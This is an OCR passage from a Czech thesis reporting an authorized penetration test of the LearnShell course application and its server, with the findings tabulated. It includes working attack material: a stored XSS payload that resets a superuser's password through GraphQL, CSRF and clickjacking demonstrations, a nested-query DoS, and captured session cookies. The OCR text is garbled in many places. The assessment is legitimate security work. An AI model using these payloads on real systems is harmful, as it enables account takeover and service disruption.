25695 a CVE-2021-20229). Déle zranitelnost CVE-2019-9193, které bylo mozné zneuzit diky
tomu, Ze jsem uhodl pfihlasovaci tdaje pro pripojeni do databaze. Pouzivani algoritmu MD5 na
hesovani hesel. Posledni nalez je to, ze databazovy server nevynucuje sifrovanou komunikaci.

K pripojeni do databaze Redis pro uzivatele s pravy root nebylo vyzadovano heslo. Déle je
pouzivano vychozi nastaveni a neni tak vynucena sifrovana komunikace.

Pro port 8000/tcp nebyla nalezena zddné zranitelnost. Déle zde bézi Django administrace,
ale zranitelnosti Django jsou popsany v testu webové aplikace.

4.2.4 Shrnuti vysledkd penetrac¢niho testu

Pro testovani serveru s interni IP adresou 10.38.5.90 byla pouzita metodologie PTES. Pro piistup
do intern{ sité je vyZzadovano byt studentem / zaméstnancem FIT CVUT, p¥istup k serveru neni
mozny z internetu.

Nejzasadnéjsimi nalezy jsou: pouziti béznych piihlasovacich tdaji do databaze PostgreSQL
pro uzivatele s pravy superuser/root a nenastavené heslo pro uzivatele s pravy superuser/root
do databaze Redis. To umoznilo neautorizovanému uzivateli neomezenou kontrolu nad databa-
zemi. V navaznosti na slabé heslo pro prihlaseni do databédze PostgreSQL bylo umoznéno ziskani
pristupu k OS, kde bézi databaze PostgreSQL.

Dalsi uvedené zranitelnosti nebyly primo zneuzity. Bylo zjisténo, ze pouzivana verze Post-
greSQL mé znamé zranitelnosti. Server s interni IP adresou 10.38.5.90 nepouziva branu firewall.
Pro ukladédni hesel uzivatelt s piistupem do databaze se pouziva slaby hash algoritmus MD5. Po
pripojeni se k databdazim PostgreSQL a Redis bylo zjisténo, ze komunikace mezi databdzovymi
servery a klientem neni Sifrovana. Aplikace PS1-Generator je provozovana na HTTP serveru,
ktery je urceny pouze pro vyvoj a neni vhodny na produkci. Server NGINX, Gunicorn a zminény
server pro vyvoj poskytuji svoji presnou verzi skrze hlavicku HTTP Server, v navaznosti na to
muze uto¢nik najit zranitelnosti pro danou verzi.

Véechn@nalezené zranitelnosti a jejich zavaznost pro test IP adresy 10.38.5.90 jsou shrnuty
v tabulce



4.3. Test webového aplikace dle OWASP Top Ten 2017

B Tabulka 4.1 Shrnuti nalezenych zranitelnosti — test IP adresy 10.38.5.90

Nézev zranitelnosti / CVE / CWE Porty Zavaznost
Casto pouzivané prihlasovaci idaje pro root — PostgreSQL 543 critical
Nenastavené heslo pro root — Redis 37 critical
Libovolné spousténi SQL funkei (CVE-2020-25695) b43 high
Umoznéni RCE (CVE-2019-9193) b43 high
Neoprévnény piistup k sloupcum tabulky (CVE-2021-20229) b43 medium
Nepouzivani Firewall Vsechny | medium
orty

Pouzivani hash algoritmu MD5 pro hesla (CWE-916) — PostgreSQL | (432 medium
Nepouzivani Sifrované komunikace — PostgreSQL p432 medium
Nepouzivani Sifrované komunikace — Redis 6379 medium
Pouzivani HTTP serveru urceného pro vyvoj H00( medium
Nenastavovani HTTP hlavicek 8 low

H00
HTTP Server header vystavuje verzi serveru R0 low

5004,

80O

4.3 Test webového aplikace dle OWASP Top Ten 2017

Pro testovani webové aplikace jsem zvolil metodologii OWASP Top Ten. Vybral jsem verzi z roku
2017, jelikoz je to nejnovéjsi dostupna verze v dobé provadéni testu a psani této prace. Teoreticky
popis jednotlivych bodu této metodologie je v teoretické ¢asti prace konkrétné v podsekci

4.3.1 A1:2017 — Injection

V tomto bodu jsem se prevazné zaméril na SQL injection, protoze didaje o uzivatelich, tlohy
a dalsi informace jsou ulozeny v PostgreSQL databazi. Po prizkumu moznych vstupti na webové
strance https://learnshell.fit.cvut.cz, kde by se mohla SQL injection vyskytovat, jsem
zadnou nenasel. Testoval jsem policka pro vyhledavani, dale pak odevzdana feseni.

7 architektury vim, ze komunikace probihd skrze GraphQL API a tedy vSechny pozadavk
prochézi pres toto API, a proto se na SQL injection zaméfim vice v testovani bodu
hnecio

4.3.2 A2:2017 — Broken Authentication

Utok jako credential stuffing zde nebude probiran, jelikoz pfihlagovani neprovadi aplikace sama.,
ale autorizaéni server, ktery uz byl zminén v podkapitole @

Pro pristup do administrace Django lze mit i nastavené heslo ulozené v databazi a prihlasovat
se bez vyuziti tohoto serveru jen skrze autentizaci implementovanou v Django administraci.

Prvni nélez pro tuto kategorie se tyka hesel. Uzivatel po pfihlaSseni md moznost si zménit
pres stranku s adresou https://learnshell.fit.cvut.cz/profile svoje heslo. Zména hesla
pro uzivatele, ktery neni typu administrator, nema vyznam. Zménéné heslo totiz funguje jen
pro prihldseni do administrace pres stranku https://learnshell.fit.cvut.cz/admin. Takto
zménéné heslo se zahesuje (algoritmus PBKDF2 s SHA256 hash) a ulozi do databaze. Tento
zpusob heSovani je povazovan organizaci NIST za bezpecny. Zména hesla je implementovana
nespravné a obsahuje nékolik bezpecnostnich chyb. Zména hesla nevyzaduje predchozi heslo,


https://learnshell.fit.cvut.cz
https://learnshell.fit.cvut.cz/profile
https://learnshell.fit.cvut.cz/admin
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B Obrazek 4.14 Cookies — Session ID, CSRF token

Set-Cookie: csrftoken=gtchVlZ3XJIIChOfkOY46M79kSENTNTq2IGRxZ] GLE] 460rx00a0r L O0TOX0IsCL; expires=Sun, 08 May 2022 13:40:01

nevyzaduje minimélni délku hesla, nekontroluje, zda se jedna o ¢asto pouzivané heslo ani shodu
nového s predchozimi hesly.

Zneuzit toho muze ttocnik, ktery by mél pristup k prohlizeci, kde je uzivatel s pravy admi-
nistratora ptrihladsen, a zménit mu takto heslo.

Déle v administraci pri pridavani nového uzivatele se nastavuje i jeho heslo, s kterym se
lze pfihlasit do administrace (pokud je uZzivatel typu administrator). Pfi nastavovani takového
hesla se nekontroluje minimalni délka, shoda s predchozimi hesly, ani jestli se nejedna o casto
pouzivané heslo. Navic se takto vytvorené heslo ulozi do databaze v plain text. Jelikoz je heslo
ulozeno v plain text, tak pak autentizace skrze Django administraci nefunguje.

Problém v ulozeni hesla v plain text je v tom, Ze pokud by nékdo ziskal pristup do databaze,
tak zde muze vidét uzivatelskd hesla. Uzivatelé ¢asto pouzivaji stejnd hesla na vice platforméch
a utocnik toho muze zneuzit.

V aplikaci se neobjevuje vicefaktorova autentizace, ale vzhledem k pouziti aplikace to nepo-
vazuji jako bezpec¢nostni pochybeni. Zde by vicefaktorovd autentizace spise komplikovala psani
test1, zkousek apod. Zaroven autentizaci a autorizace zafizuje autoriza¢ni server https://auth.
fit.cvut.cz, ktery spravuje ICT FIT CVUT, a neni to v kompetenci vyvojait aplikace Learn-
Shell.

Tento nalez se tyka session ID cookie. Zjistil jsem, ze pokud se uzivatel neodhlasi a prihlasi
se znovu napiiklad na jiném zafizeni, tak zustdvaji validni obé session ID. Pokud odeslu validni
request s puvodnim session ID a druhy s novym session ID, tak na obé obdrzim stejné odpovedi.
Takova session ID se stane nevalidni az po vyprseni casového limitu Max-Age, ktery pro ni je
nastaven, nebo po odhlaseni.

Pro jednoho uzivatele je tedy mozné, ze pro ovéreni je validnich session ID vice nez jedna.
Hlavné z pohledu administratora neni chténé, aby bylo validnich vice session ID ve stejny cas.
Administratorsky tcet ba pak mohl byt pouzivan soucasné uto¢nikem, pokud by ziskal predchozi
session 1D.

Nejedna se o zédsadni bezpecnostni problém, je zde uveden spise z divodu informativniho. Na
vyvojari pak zalezi, jestli je zadouci, aby bylo validnich vice session ID soucasné.

Limit pro vyprsSeni platnosti session ID je nastaven na nesmyslné vysokou hodnotu, jak lze
vidét na obrazku M hodnota Max-Age je nastavena na 1209600 vtefin, coz je 14 dni. Urcité neni
zédouci, aby byla nastavena takto vysoka hodnota. SniZeni této hodnoty muze omezit i predchozi
problém s vice validnimi session ID.

7 obréazku M hodnota platnosti csrf token neni vidét kvili ofiznuti velikosti, ale i zde je
hodnota vysokd, konkrétné 31449600 vtefin. Tato hodnota by méla byt také snizena.

Dle [46] by nemély byt CSRF tokeny piendseny pomoci cookies. To je zde poruseno.

Pouzivani CSRF tokenu méa zabranit utokim CSRF. Kromé toho, Ze se token prenasi po-
moci cookies, tak tento CSRF token vibec neni serverem ovérovan. Vidét to je z pokusu na
obrazku , kde je ukazana ¢ast posilaného request s nastavenim nevalidni hodnoty CSRF
token. Na obrazku je vidét response, ve které je nastaven novy CSRF token a odpovéd na
dotaz. Pokud by se CSRF token kontroloval, tak by server nevratil validni odpovéd na poslany
dotaz v téle request.

Jelikoz se CSRF token nekontroluje, tak jsem simuloval CSRF ttok. Vytvoril jsem si HT'TP
server, na kterém jsem meél umisténou stranku, kterd po nacteni prohlizecem spustila skript.
Tento skript se spustil a odeslal request na aplikaci LearnShell.

Utok CSRF jsem vyzkousel, ale diky tomu, Ze session ID mé nastaveno SameSite=Lax, tak
prohlize¢ nezahrnuje cookies do requestu ze stranky s jinym origin. Tedy request byl poslan bez
session ID, a proto dotaz nebyl neproveden za prihlaseného uzivatele.


https://auth.fit.cvut.cz
https://auth.fit.cvut.cz
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B Obrazek 4.15 Neovéiovani CSRF token — request

L T P I I

LS Cookie: csrftoken=MeplatnyToken; sessionid=sfd02ist1f8k7p07iriz3hmedtjc3uxe

=]

20 {
"query":"{wn UserMyself {\n idyn firstNamein lastMName\n emailin assignments {\n
sStudent {\n totalCountn results {\n name\n idwn course {\n

B Obrazek 4.16 Neovérovani CSRF token — response

14 Set-Cookie: csrftoken=yFyBZbh&tvcf1lNSZIWRSUYms 2k ILMNwALBAL a7MWEWo rRTMMNEL pnhhIMxMpNnedy; expires=Thu, 14 Apr
15 Strict-Transport-Security: max-age=315360000
15
17 {
"data":{
"UserMyself":{

"id" 894,

"firstMName":"Pen",

"lastName":"Test",

"email":"",

"assignments":{

"total Count": 2,

4.3.3 A3:2017 — Sensitive Data Exposure

Pri testovani této kategorie jsem nenalezl pochybeni s pfimym vystavenim citlivych dat. Ukladani
plain text hesla pri jeho nastaveni v Django administraci bylo jiz zminéno v Bfedchozi kategori},

jelikoz lze tadit do obou kategorii.

Dle [H] do této kategorie patii i chybéjici security header. Pro nékteré stranky https:
//learnshell.fit.cvut.cz/auth/ a https://learnshell fit.cvut.cz/auth/impersonate/ neni po-
uzivand hlavicka Strict-Transport-Security a nevynucuje tak HSTS (HTTP Strict Transport
Security). Toto bylo nalezeno p¥i automatickém testu pomoci Burp Suite. P¥i odeslan{ dotazu na
zminéné stranky (pomoci HTTP) je zahrnuto session ID, pokud je uzivatel ptihldSen. UZivatel,
ktery ma nastaveno session ID se nejprve musi prihlasit a to pres stranku, kterd ma nasta-
venou hlavicku Strict-Transport-Security. Vétsina soucasnych prohlizect nepovoli komunikaci
pomoci http, pokud stranka se stejnym origin informovala prohlizec¢, Ze vyzaduje komunikaci
pres HTTPS.

Session ID cookie je zahrnuto i pfi komunikaci pres HTTP, protoze neméa nastaveno secure
flag.

Dalsi nenastavend bezpecnostni hlavicka je X-Frame Options. Tato hlavicka ma informovat
prohlize¢ o tom, zda ma povolit vykresleni stranky v <frame>, <iframe>, <embed>. Webova
stranky toto pouziva k zabranéni click-jacking utoktm, zajistuji tim, aby jejich obsah nebyl
vlozen do jiné stranky.

Vyzkousel jsem click-jacking ttok, pomoci nastroje Burp Clickbandit jsem nahrédl prove-
dené , kliky* mysi na strdnce https://learnshell.fit.cvut.cz/profile a vytvoril skodlivou
stranku. Pokud si uzivatel takovou strénku otevie a nasledné klikne spusti se script (zde jen
vypis). Tento ttok cili pfedevsim na uzivatele. Lze vidét na obrazcich a .

4.3.4 A4:2017 — XML External Entities (XXE)

V aplikaci Learnshell je pouzivan format JSON pro prenos dat mezi prohlizeéem a serverem.
V request od klienta na server nejsou obsazena zadna data v XML forméatu. Bylo potifeba zkusit
najit skryté moznosti ttoku oproti klasickym, kdy se payload vkldada do dat, ktera jiz jsou ve
formatu XML, pro komunikaci klienta a serveru.

Jednd se napriklad o XXE ttok pomoci nahravani souboru. V Learnshell neni umoznéno
nahran{ XML souborti. Tedy tento itok zde neni mozny.
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B Obrazek 4.17 Click-jacking — 8kodliva strdnka

} | 0] | & 0.0.0.0:8000/clickjacked_sandbox_iframe.html

El

Learn Shell 2.0

a Profile khuntpav
i Pavel Khunt
r'=1 Users

Cacrive I aomin R sTare

0 assignments O courses O parallels

I Exam
0 Help
€ Logout Semester Score: 0

B Obrazek 4.18 Click-jacking — provedeni skodlivého kédu

n Assignments . .
Available Assignments  search assignment...

# Exam
0 Help [OLD] 006 - fadky ze souboru (homework)
€ Logout [OLD] en-002 File creation (homework)

001 - Hello, PS1! {hemework)
001 - Hello, PS1! {K) (homewaork)

002 - Pouziti proménné Il {homework)

You've been clickjacked!
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B Obrazek 4.19 Duplikace hlaviéek — Strict-Transport-Security
curl -I https://lear

server: nginx

date: Sun, @9 May 282
content-type:
content-length: ;
content-disposition: inline;
cache-control: public, ma

access-control-allow-origin:

etag: W/"eee9fad2c6757d8c80alldc6B38817a736d09985119b37d1851b5639ed9659d6"
accept-ranges: bytes

K-vercel-cache: MISS

age: @

x-vercel-id: cdgl::4mjpJj-162059596930 @76df4d

strict-transport-security: max-ag includeSubDomains; preload

strict-transport-security: ma

Dalsi bylo potteba vyzkouset XXE utok skrze modifikovanou hlavicku Content-Type. Zatimco
webova sluzba muze byt naprogramovana tak, aby pouzivala pouze format JSON. Server by mohl
prijimat i jiné datové formaty jako je napriklad XML. Tedy i JSON endpoint miize byt zranitelny
na XML External Entities.

Zmeénil jsem hlavicku Content-Type z application/json na application/xml. Timto klient fekne
serveru, ze data v POST request jsou v XML formatu. Pokud data nechdme ve formatu JSON se
zménénym Content-Type server nebude schopny parsovat data a zobrazi se error ohledné toho,
Ze nastala chyba pri parsovani XML dokumentu. To by indikovalo, Ze je server schopny zpracovat
i data ve formatu XML. Po vyzkouseni zadné error zprava ohledné XML dokumentu v odpoveédi
serveru nebyla.

Diky tomu, ze je v aplikaci pouzivan format JSON pro prenos dat mezi prohlizecem a ser-
verem, neni zde povolen upload soubort a ani po vyzkouseni XXE tutok skrze modifikovanou
hlavicku Content-Type usuzuji, ze aplikace neni zranitelna vuci XXE.

4.3.5 A5:2017 — Broken Access Control

P1i testovani tohoto bodu nebyly nalezeny zadné bezpecnostni chyby. Bylo vyzkouseno naptiklad
to, ze jsem byl prihldsen jako student a zadaval URL adresy, ke kterym by student nemél mit
pristup. Nékteré URL adresy se sice zobrazily /nacetly, ale nebyl na nich zadny obsah. Konkrétné
stranka https://learnshell.fit.cvut.cz/users, na které jsou pro autorizovaného uzivatele,
se sice zobrazi, ale neni zde zadny seznam pristupny.

Déle by se mohlo do této kategorie radit, povoleni pristupu k nastroji GraphiQL, ktery slouzi
k psani, validaci a testovani GraphQL dotazi. Dostupny je z adresy https://learnshell.fit.
cvut.cz/graphql/ i pro nepiihlasené uzivatele. Vice je vysvétleno v testovani GraphQL API.

4.3.6 A6:2017 — Security Misconfiguration

Zde byla nalezena duplikace hlavicky Strict-Transport-Security. Nastavuje se na dvé hodnoty,
jak lze vidét na obrazku . To je zptisobeno tim, ze ji nastavuje fakultni proxy server i apli-
kace LearnShell. Hlavicky se pak prekryji a aplikuje se pouze hlavicka strict-transport-security:
max-age=315360000, kterd je nastavovana proxy serverem. Hlavicka nastavovand aplikaci ma
nastaveno direktivy includeSubDomains a preload, ale ty se v_dusledku duplikace nepouziji.

Dalsi spatné nastaveni hlaviéek bylo jiz zminéno v bodu |A3:2017 — Sensitive Data Exposure{.
Jiné problémy v konfiguraci jsem nenalezl.
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B Obrazek 4.20 XSS — request odesilajici Fesen{ tilohy

1 POST /fgraphgly HTTR/1.1

2 Host: learnshell.fit.cvut.cz

3 Connection: close

4 Content-Length: 257

S sec-ch-ua: "Chromium";v="89", " Mot A Brand";v="99"

& sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.0 (Windows MT 10.0; Wing4; x54) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.43839.50
2 content-type: application/json

S Accept: #/%

10 Origin: https:s/learnshell.fit.cvut.cz

11 Sec-Fetch-Site: same-origin

12 Sec-Fetch-Mode: cors

13 Sec-Fetch-Dest: empty

14 Referer: https://learnshell.fit.cvut.cz/assignments/16961

15 Accept-Encoding: gzip, deflate

15 Accept-Language: en-US,en;g=0.9

17 Cookie: csrftoken=pJrawllPDzxFADbQOYMSIvIGL Zs] xVHDiIWhqPF7gt W2f FHwoBp955]isejatnaZGl; sessionid=pxmcodwitlepekdSzhz

19 {
"query " ”

T

mutatien submit {in SubmissionCreate(data: {un generatedassignmentId: “"16981%",\n

B Obrazek 4.21 XSS - télo odesilaného request pro odevzdani feseni tlohy

Query Variables Injection Points

1 hutation submit {
SubmissionCreateldata: {

3 generatedAssignmentId: "16961",

4 submissionData: "{ “'scripti": “WbHM=V" }M,
5 i

& job {

7 1d

createTime

[= }

10 T

11 }

4.3.7 AT:2017 — Cross-Site Scripting XSS

Béhem testovani XSS bylo nalezeno Stored XSS. Postup je popsan nize.

Stored XSS jsem hledal jako tto¢nik s pravy studenta. Student mize vypliovat feseni 1iloh
a odevzdavat je. Pifimo zadanim skodlivého kédu v Javascript do policka pro feseni nevedlo
k XSS.

Jako utocnik jsem chtél zjistit, jak se reseni odesila. Pouzil jsem nastroj Burp Suite a odchyta-
val si kazdy odesilany request pti komunikaci s aplikaci. Z toho jsem zjistil, ze pri odesilani feseni
tTeti request obsahuje uzivatelem vloZzené teseni, které je odesilano jako mutation na GraphQL
API endpoint. Lze vidét na obrazku . Na obrazku je ukazano, jak vypada mutation
s odesilanym fesenim. Déle je z néj vidét, ze odesilané reseni je kédovano Base64.

Reseni jsem tedy piepsal jako kéd v Javascript, aby se tento kéd ulozil v plain text. To
ilustruje obrazek . Na obrazku je vidét pouze upravena ¢ast dotazu, protoze ostatni ¢asti se
neménili.

Odeslani teseni s Javascript kdédem ma za néasledek spusténi tohoto kédu, pokud si uzivatel
s administratorskymi pravy zobrazi studentovo feseni v Django administraci. To je ukdzano na
obrazku . Jak je vidét, administratorovi se zobrazi okno s ¢islem jedna. Vlozeny skript se
tedy spustil. Ukazka ovlivnéni zdrojového kédu stranky je na obrazku .

Pravé byla ukdzana zranitelnost stored XSS. Po zjisténi této zranitelnosti jsem nalezl, zZe tato
zranitelnost je zplisobena pouzivanim zranitelné verze django-jsonfield package.

Obvykle se zneuziti XSS ziskavaji cookies, ale z predchoziho provérovani cookies je znamo,
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B Obrazek 4.22 XSS — vlozeni skodlivého Javascript kédu do parametru script

995]sejatnaZGl; sessionid=pxmcodwvtlepekdS2hz2jplsq7op33lz

generatedAssignmentTId: \"16361%",\n submissionData: WL WA Uscripti W\ WA efscript=ascript=alert (1) </script=\44" I, \n

B Obrazek 4.23 XSS — spusténi vlozeného kédu v Django administraci

1

| |Allow dialogs from learnshell.fit.cvut.cz to take you to their tab

B Obrazek 4.24 XSS — ¢dst zdrojového kédu stranky Django administrace

<script>
(function() {
var container = document.getElementById("id submission data");
var textarea = document.getElementById("id submission data textarea");

var options = {"modes": ["text", "code", "tree", "form", "view"], "mode": "code
options.onChange = function () {

var json = editor.get();

textarea.value=1SON.stringify(json);

I
var editor = new JSONEditor({container, options};
var json = {"script": "</script><script (1)=/script="};
editor.set(json);
o

</script>
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B Obrazek 4.25 XSS — Javascript kéd pro zménu hesla

</script><script>
var req = new XMLHttpRequest();
req.open( "POST', "https://learnshell.fit.cvut.cz/graphgl/’, true);
req.onload = stealData;
req.withCredentials = true;
req.setRequestHeader( 'Content-Type', 'application/json');
req.send(JSON. stringify({ query’: 'mutation {UserSetPassword(data:{id: "892", basswcrd:
"hesloXsS' }) {object {id username firstName lastName}}}'}));
function stealData(){
var data= JSON.stringify(JSON.parse(this.responseText),null,2);
output(data);
}
function output(inp) {
document. body. appendChild(document. createElement( 'pre’}).innerHTML = inp;
}

</script>

B Obrazek 4.26 XSS — GraphQL dotaz s Javascript kédem

ze pouzivaji http only flag a tedy nejsou pristupny z Javascript kodu. Ja jsem tedy zkusil XSS
vyuzit k provedeni CSRF.

Stejné zranitelnost se vyskytuje po vytvoreni tlohy, jelikoz se v administraci zobrazuje také
za pomoci django-json-widget, ktery vyuziva django-jsonfield package. Této zranitelnosti muze
tedy vyuzit i administrator, ktery ma piistup k vytvafeni dloh/zad4ni.

Pro demonstraci zneuziti v podobé zmény hesla pro superuser jsem si vybral zptisob, kdy XSS
vyuzivd uzivatel s pravy vytvareni/editaci dlohy. Pro Gtoc¢nika s préavy student by byl postup
obdobny, pouze by se vyuzivalo tpravy odevzdaného feseni, jako je ukazano vyse.

Utocnik opét upravi request pred odesldnim na server. Zamérem je zménit heslo uzivateli,
ktery ma prava superuser. Predpoklady pro tento titok jsou nasledujici: ito¢nikem vytvorenou
tlohu si otevte uzivatel s pravy superuser, itoénik zné ID néjakého uzivatele s pravy superuser
(typicky 0 nebo 1).

Dle dokumentace GraphQL API dostupné z adresy: https://learnshell.fit.cvut.cz/
graphqgl nebo po odchyceni dotazu na zménu hesla, je zndma mutation, kterou to lze provést.
Sestavil jsem tedy Javascript kéd, ktery se po nacteni spusti a zméni uzivateli se zvolenym ID
heslo. Tento kod je vidét na obrazku . Tento koéd bylo tieba vlozit do odesilaného request
a provést validaci, aby se odeslal validni GraphQL mutation v JSON formatu. GraphQL dotaz,
ktery je odesilan v téle reuqgest, po vlozeni Javascript kédu a validaci je na obrézku@.

V rédmci simulace a ovéreni utoku jsem si jako superuser tlohu s ID 44 oteviel v Django
administraci a zachytil vsechny dotazy na aplikaci, které vznikly po otevieni iilohy. Z obrazku
je vidét, jak jdou dotazy za sebou. Prvni oznaceny je dotaz pro zobrazeni tlohy s ID 44 a posledni

je dotaz, ktery byl umistén v Javascript kodu. Tento zvyraznény request je na obrazku .
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B Obrazek 4.27 XSS — Prubéh dotazu pti zméné hesla pomoci XSS

https:fflearnshell fit. cvut.cz GET Jadminfassignment/assignment/44/change/?_changelist filters=p%304 v 200
https:/flearnshell fit. cvut.cz GET fadminfjsilén/ 200
https:fflearnshell fit. cvut.cz GET /static/dist/jsoneditor.min.js 200
https:fflearnshell fit. cvut.cz GET fstatic/adminfjs/prepopulate_init.js 200
https:fflearnshell fit. cvut.cz GET Jstaticfadminfimagficon-changelink. svg 200
https:fflearnshell fit. cvut.cz GET /staticfadminfjs/change_form.js 200
https:/flearnshell fit. cvut.cz GET fstatic/distfjseneditor.map 404
https:fflearnshell fit. cvut.cz GET /static/distfimg/jsoneditor-icons. svg 200
https:fflearnshell fit cvut.cz~ POST Jaraphgl/ v 200
https: ffcontent-autofill. goog... GET Mvl/pages/ChNDaH)vbWUvODkuMC40Mzg 5L kwEKEJU4Ry4H5 092 QSBQ1x~MFEgUN]NxdkBIFDZRU-sBSEBQO. .. v 400

B Obrazek 4.28 XSS — Dotaz na zménu hesla

POST faraphgl/ HTTP/1.1
Host: learnshell fit.cvut.cz
Connection: close
Content-Length: 125
sec-ch-ua: "Chromium";v="83", ":Mot A& Brand":@v="99"
sec-ch-ua-mobile: 70
User-Agent: Mozillas5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json
Accept: #/%
Origin: https://learnshell.fit.cvut.cz
11 Sec-Fetch-Site: same-origin
12 sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
14 Referer: https://learnshell.fit.cvut.cz/adnin/assignment fassignment /44/changes/7?_changelist_filters=p%3D4
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;g=0.9
17 Cookie: csrftoken=HjnjGDo&TONZ30IHUTWHLFQeSoMNlybOjHEVIEIty] P2TISPKyC3h7h 2gNpcsjvEGIc; sessionid=v8z8selvqkk0Epll4xwg3vd8giz271go
18
19 {
“query":"mutation {UserSetPassword(data:{id: v"892\", password: \"hesloxss\" }) {object {id username firstName lastNamel}}}"

R SN

—
oW

Nasledné jsem ovéril zménu hesla prihldsenim do Django administrace pomoci hesla: hesloXSS.
Heslo bylo zménéno tispésné.

4.3.8 A8:2017 — Insecure Deserialization

Aplikace nepouziva serializaci a tedy neni vyuzita ani deserializace. Z tohoto diavodu aplikace
neni zranitelnd na nebezpecnou deserializaci.

4.3.9 A9:2017 — Using Components with Known Vulnera-
bilities

Komponenta se znamymi zranitelnostmi byla nalezena v testu IP adresy 10.38.5.90, presnéji

Jinja2 2.10.1. Tato verze mé dvé zname zranitelnost s CVE-2019-8341 a CVE-2020-28493.

Dtlezitou komponentou je Django verze 3.1.1, pro kterou jsou znamé zranitelnosti CVE-2021-
3281, CVE-2021-23336 a CVE-2021-32052. Nalezeno zde [@

4.3.10 A10:2017 — Insufficient Logging & Monitoring

Pro tento bod nebyla moznost, jak ho otestovat, jelikoz aplikace neobsahuji aktivni monitorovani.

4.3.11 Shrnuti vysledkt penetracniho testu

Pro testovani webové aplikace byla pouzita metodologie OWASP Top Ten. Jedind piimo zneuzité
zranitelnost byla Stored XSS, ktera vedla k eskalaci privilegii ze studenta na administratora.

Bylo nalezeno pouzivani komponent, jejichZ verze maji znamé zranitelnosti. Jednd se o Django
verze 3.1.1 a Jinja2 verze 2.10.1.
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B Tabulka 4.2 Shrnut{ nalezenych zranitelnosti — test webové aplikace dle OWASP Top Ten

Nézev zranitelnosti / CVE / CWE Kategorie | Zavaznost
Stored XSS v parametrech script a name A7:2017 critical
Server Side Template Injection — Jinja2 (CVE-2019-8341) | |A9:2017 critical
HTTP Header Injection — Django (CVE-2021-32052) A9:20117 high
ReDoS — Jinja2 (CVE-2020-28493) A9:2017 medium
Directory Traversal — Django (CVE-2021-3281) A9:2017 medium
Web Cache Poisoning — Django (CVE-2021-23336) A9:2017 medium
Slabé pozadavky na heslo (CWE-521) A2:2017 | medium
Ulozeni hesla v plain text A2:2017 medium
Vysoké hodnota Max-Age pro session ID A2:2017 low
Spatné pouziti CSRF tokenu A2:2017 low
Nenastavena X-Frame Options header A3:2017 low
Duplikace Strict-Transport-Security header A6:2017 low

Nastaveni nového hesla nevyzaduje ptivodni heslo ani nejsou vynucovany vlastnosti nastavo-
vaného hesla. Pti tvorbé uzivatele skrze Django administraci se ulozi heslo takto vytvoreného
uzivatele v plain text.

Posledni nalezené pochybeni se tykaji HTTP hlavicek a Cookies. Token proti atokim CSRF
se nekontroluje a je Spatné prenasen pomoci Cookies. Cookie session ID ma nastavenou zbytecné
vysokou hodnotu ¢asu, po kterém se zneplatni. Hlavicka, kterd ma pomoci zabranit utokam
click-jacking, neni nastavena. Hlavicka Strict-Transport-Security header je duplikovana, protoze
ji nastavuje NGINX na interni IP adrese 10.38.5.90 a i fakultni proxy server.

Vsechny nalezené zranitelnosti pri testovani webové aplikace pomoci metodiky OWASP Top
Ten jsou uvedeny v tabulce §.2.

4.4 Test GraphQL API dle OWASP API Security Top 10
2019

Pro testovani GraphQL jsem vybral metodologii OWASP API Security Top 10, konkrétné verzi
2019, protoze je nejnovéjsi dostupné verze této metodologie.

4.4.1 API1:2019 — Broken object level authorization

Z4dné vyrazné bezpecnostni pochybeni nebylo nalezeno. Pouze to, Ze si student miize vypsat
schéma pro odevzdani pomoci dotazu SubmissionList. Tento ndlez je pro tento bod spise infor-
mativni, dopad tohoto dotazu je ukazan v |API4:2019 — Lack of resources and rate limitingl.

4.4.2 API2:2019 — Broken authentication

Pro tento bod bylo nalezeno pouze to, ze si uzivatel muze zménit heslo pomoci odeslani Gra-
phQL mutation. V nastaveni hesla pres API neni zadna kontrola hesla, presnéji neni vyzadovano
puvodni heslo ani zadné vynucovany zadné pozadavky na slozitost hesla. Dotaz na zménu hesla
je na obrazku . Jinad pochybeni nebyla nalezena.
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B Obrazek 4.29 Skript pro vytvoreni vnofenych dotazi

t(4xix
rint("}")
ys.stdout original_stdout

B Obrazek 4.30 Vystup po DoS

"<html>\r\n<head><title>502 Bad Gateway</title=></head>\r\n<body>\r\n<center><hl=502 Bad
Gateway</hl=</center=\r\n<hr=<center=nginx/1.19.3</center=\r\n</body=%\r\n</html=\ r\n"|

4.4.3 API3:2019 — Excessive data exposure

Data jsou posilana pires GraphQL API a to na klienta zasild pouze data, ktera si klient vyzada.
Neprobih4 filtrovani dat na strané klienta. Bezpec¢nostni chyby tykajici se nadmérného vystaveni
dat jsem nenasel.

4.4.4 API4:2019 — Lack of resources and rate limiting

GraphQL poskytuje jednoduché rozhrani, které dovoluje pouzivani vnorenych dorazii a vnorenych
objektt. Tato moznost mize byt zneuzita volanim dotazu s velkou hloubkou zanoreni. Podobné
jako rekurzivni funkce a tak muze zpusobit DoS. [4§]

Po prizkumu dostupnych dotazti jsem pripravil vnoreny dotaz, ktery jsem vytvarel za pomoci
jednoduchého Python skriptu, ktery je na obrazku §.29. Vystup se ulozil do souboru a ten jsem
nasledné odesilal na GraphQL endpoint. V zdvislosti na poc¢tu vykonani for cykli a tedy na
hloubce zanoreni se vypise vysledek, zptusobi DoS na 2 vtefiny nebo se dotaz kvuli velkému
poctu zanoteni neprovede. Do 35 opakovani cyklu se dotaz provede, od 36 do 56 opakovani zpusobi
zminény DoS, pro 57 a vice se dotaz kvili prekroceni maximélni hloubky rekurze. Vystup, ktery
se vypise po 2 vtefinové DoS je na obrazku m a oznameni{ o prekroceni maximalni hloubky
rekurze je na obrazku {.31}.

Vyzkousel jsem dotaz, ktery je vidét na obrazku . Béhem zpracovavani tohoto dotazu byl
zpusoben DoS na 30 vtefin. Ovéril jsem to pokusem o pripojeni k aplikaci LearnShell z jiného
zafizeni s jinou vefejnou IP adresou. V tomto pripadé se nejednd o zneuzit{ vnorenych dotazu.

Déle GraphQL podporuje vlozeni vice dotazli do jednoho pozadavku znamé jako batching
requests ¢ query batching. Utoénik toho miZe zneuzit a poslat mnoho dotazii v jednom po-
zadavku a zpusobit tak DoS. Takovy utok se nazyva batching attack. Predchozi DoS utoky
vyzadovali, aby byl dtoénik student/uditel, ale pro tento titok to neni potfeba. Tedy utocénik
nemusi byt prihlasen.

